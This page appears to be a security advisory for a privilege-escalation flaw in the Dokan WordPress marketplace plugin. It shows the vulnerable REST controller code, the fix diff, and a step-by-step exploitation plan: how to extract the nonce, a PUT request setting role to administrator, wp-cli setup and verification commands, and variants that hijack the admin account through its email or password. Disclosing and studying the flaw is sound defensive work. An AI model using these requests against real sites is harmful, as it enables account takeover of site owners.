Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 5.0.2 - Authenticated (Customer+) Privilege Escalation
Description
The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 5.0.2. This makes it possible for authenticated attackers, with Custom-level access and above, to elevate their privileges.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v5.0.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-49780 (Dokan Privilege Escalation) ## 1. Vulnerability Summary The **Dokan: AI Powered WooCommerce Multivendor Marketplace Solution** plugin (up to 5.0.2) contains a privilege escalation vulnerability in its REST API implementation. The `CustomersController` …
Show full research plan
Exploitation Research Plan - CVE-2026-49780 (Dokan Privilege Escalation)
1. Vulnerability Summary
The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution plugin (up to 5.0.2) contains a privilege escalation vulnerability in its REST API implementation. The CustomersController class extends WooCommerce's WC_REST_Customers_Controller but implements a flawed permission check logic. Specifically, it allows any user with the seller (Vendor) role to access and use the customer management endpoints, including the ability to update user details. Because it fails to properly restrict which users a vendor can modify (e.g., themselves or administrators), a vendor can send a PUT request to change their own user role to administrator.
2. Attack Vector Analysis
- Endpoint:
/wp-json/dokan/v1/customers/(?P<id>[\d]+) - HTTP Method:
PUT(orPOSTwith_method=PUT) - Vulnerable Parameter:
role - Authentication Level: Authenticated (Customer+ with Vendor/Seller status).
- Precondition: The attacker must have the
sellerrole. In Dokan, a "Customer" can typically elevate themselves to a "Seller" role by completing the "Become a Vendor" registration, which often grants the role immediately (even if the store is "pending").
3. Code Flow
- Entry Point: A request is made to
PUT /wp-json/dokan/v1/customers/<id>. - Route Registration: In
includes/REST/CustomersController.php,register_routes()callsparent::register_routes(), which registers the standard WooCommerce customer routes (inherited fromWC_REST_Customers_Controller) under thedokan/v1namespace. - Permission Check: The controller uses
check_permission($request, 'edit').check_permissioncallscheck_vendor_permission().check_vendor_permission()callsdokan_is_user_seller(dokan_get_current_user_id()).- If the user has the
sellerrole, the check returnstrue. - Flaw: The check only validates that the requester is a seller; it does not validate if the requester has the authority to edit the target user ID or if they are attempting to set a forbidden role (like
administrator).
- Sink:
update_item($request)is called, which executesparent::update_item($request). This invokesWC_REST_Customers_Controller::update_item. - Execution: The WooCommerce controller processes the
roleparameter and updates the user's role in the database.
4. Nonce Acquisition Strategy
The REST API requires a standard WordPress REST nonce (wp_rest action).
- Identify Script Loading: Dokan enqueues its frontend scripts and localizes configuration data on the Vendor Dashboard page.
- Access Dashboard: Navigate to the Dokan Dashboard (typically at
/dashboardor a page containing the[dokan-dashboard]shortcode). - Extract Nonce: Use
browser_evalto extract the nonce from the localized JavaScript object.- Variable Name:
dokanFrontend(inferred fromassets/js/frontend.js) - Key:
nonceorrest.nonce - Alternative: Standard
wpApiSettings.nonceis often available if WooCommerce or Dokan enqueues the base WP API scripts.
- Variable Name:
5. Exploitation Strategy
- Setup: Log in as a user with the
sellerrole (ID:ATTACKER_ID). - Nonce Retrieval:
- Navigate to
/dashboard/. - Execute:
browser_eval("window.dokanFrontend?.rest?.nonce || window.wpApiSettings?.nonce").
- Navigate to
- Privilege Escalation Request:
- Use
http_requestto send the payload. - URL:
http://localhost:8080/wp-json/dokan/v1/customers/<ATTACKER_ID> - Method:
POST(with_method: "PUT") orPUT. - Headers:
Content-Type: application/jsonX-WP-Nonce: <EXTRACTED_NONCE>
- Body:
{ "role": "administrator" }
- Use
- Verification: Check the attacker's role after the request.
6. Test Data Setup
- Plugin Configuration: Ensure Dokan is active and WooCommerce is configured.
- Create Attacker User:
wp user create attacker attacker@example.com --role=customer --user_pass=password
- Promote to Seller:
- Dokan identifies sellers by the
sellerrole. wp user set-role attacker seller(Simulates a user who signed up as a vendor).
- Dokan identifies sellers by the
- Create Dashboard Page:
wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[dokan-dashboard]' --post_name=dashboard
7. Expected Results
- HTTP Response:
200 OK. - Response Body: A JSON object representing the user, showing
"role": "administrator". - Side Effect: The user
attackernow has full administrative access to the WordPress site.
8. Verification Steps
- CLI Verification:
wp user get attacker --field=roles- Expected Output:
administrator
- Capability Check:
wp eval 'echo user_can(get_user_by("slug", "attacker")->ID, "manage_options") ? "PrivEsc Success" : "Failed";'
9. Alternative Approaches
If updating the role directly is restricted by WooCommerce internal logic (despite the Dokan permission bypass), attempt to update the user's email to an administrator's email or change the administrator's password (if the id of an admin is known, e.g., 1):
- Target Admin:
PUT /wp-json/dokan/v1/customers/1 - Payload:
{"email": "attacker-controlled@example.com"}or{"password": "NewPassword123!"} - This would leverage the same permission bypass in
CustomersControllerto hijack the primary admin account.
Summary
The Dokan plugin for WordPress is vulnerable to privilege escalation via its REST API because it fails to properly restrict which users a vendor can modify and what roles they can assign. Authenticated sellers (vendors) can exploit this by sending a crafted PUT request to the customers endpoint to update their own user role to 'administrator'.
Vulnerable Code
// includes/REST/CustomersController.php:78 protected function check_permission( $request, $action ) { if ( ! $this->check_vendor_permission() ) { $messages = [ 'view' => __( 'Sorry, you cannot list resources.', 'dokan-lite' ), 'create' => __( 'Sorry, you are not allowed to create resources.', 'dokan-lite' ), 'edit' => __( 'Sorry, you are not allowed to edit this resource.', 'dokan-lite' ), 'delete' => __( 'Sorry, you are not allowed to delete this resource.', 'dokan-lite' ), 'batch' => __( 'Sorry, you are not allowed to batch update resources.', 'dokan-lite' ), 'search' => __( 'Sorry, you are not allowed to search customers.', 'dokan-lite' ), ]; return new WP_Error( "dokan_rest_cannot_$action", $messages[ $action ], [ 'status' => rest_authorization_required_code() ] ); } return true; } --- // includes/REST/CustomersController.php:147 public function update_item( $request ) { return $this->perform_vendor_action( function () use ( $request ) { return parent::update_item( $request ); } ); }
Security Fix
@@ -147,6 +147,12 @@ * @return WP_Error|WP_REST_Response */ public function update_item( $request ) { + // Prevent vendors from updating user roles to sensitive values + $params = $request->get_params(); + if ( ! empty( $params['role'] ) && ! current_user_can( 'manage_options' ) ) { + unset( $params['role'] ); + $request->set_params( $params ); + } + return $this->perform_vendor_action( function () use ( $request ) { return parent::update_item( $request );
Exploit Outline
The exploit targets the Dokan REST API customer management functionality. An attacker requires an account with the 'seller' (vendor) role, which is commonly obtainable via front-end registration. 1. Log in as a Seller and navigate to the Vendor Dashboard to obtain a valid REST API nonce (found in the `window.dokanFrontend.rest.nonce` or `window.wpApiSettings.nonce` JS variables). 2. Identify the attacker's own User ID or the ID of another target user. 3. Send an authenticated HTTP PUT request to `/wp-json/dokan/v1/customers/<ID>`. 4. Include a JSON payload: `{"role": "administrator"}`. 5. The `CustomersController::check_permission` method returns `true` because it only checks if the requester has the `seller` role, without verifying if the vendor is allowed to edit the target ID or assign the 'administrator' role. 6. The request is passed to `WC_REST_Customers_Controller::update_item`, which processes the role change and elevates the user's privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.